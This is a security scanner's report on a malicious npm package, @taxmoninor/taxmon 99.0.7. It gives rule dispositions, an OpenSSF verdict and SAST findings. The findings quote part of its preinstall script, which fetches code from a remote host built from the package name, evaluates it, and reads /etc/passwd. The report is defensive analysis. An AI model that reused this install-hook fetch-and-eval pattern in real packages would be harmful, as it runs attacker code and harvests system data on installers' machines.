All @taxmoninor/taxmon versions
@taxmoninor/taxmon @99.0.7
taxmon utilities
Maintainers
Keywords
Risk Dispositions (4 applicable to this version, 0 other)
Accepted rules are downgraded to INFO on future analyses; rejected rules escalate to CRITICAL.
| Rule | Source | Disposition | Author | Reason | |
|---|---|---|---|---|---|
install-script:preinstall |
install-scripts | reject | AI | AI (install-scripts): Preinstall fetches and evals remote code — malicious by design, generalizes to all versions. | |
semgrep:etc-passwd-access |
semgrep | reject | AI | AI (semgrep): Explicit /etc/passwd credential harvesting in preinstall payload; generalizes to all versions. | |
semgrep:eval-usage |
semgrep | reject | AI | AI (semgrep): eval() of remotely fetched body is the execution mechanism for the attack; generalizes to all versions. | |
bogus-package |
bogus-package | reject | AI | AI (bogus-package): All spam/bogus signals (inflated semver, no repo, empty main) are stable characteristics of this malicious package. |
SAST Findings (5)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (26a2ba1d60a7354a9d1329829ce0146a850ad9f676df6d30385a1a8cf6121114) The OpenSSF Package Analysis project identified '@taxmoninor/taxmon' @ 99.0.7 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
Script: node preinstall.js
Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";
Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";
Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.
Review Summary
Risk score: 100 (capped from 141). Findings: 1 critical (+40), 3 high (+75), 2 medium (+20), 2 low (+6).
Published to npm: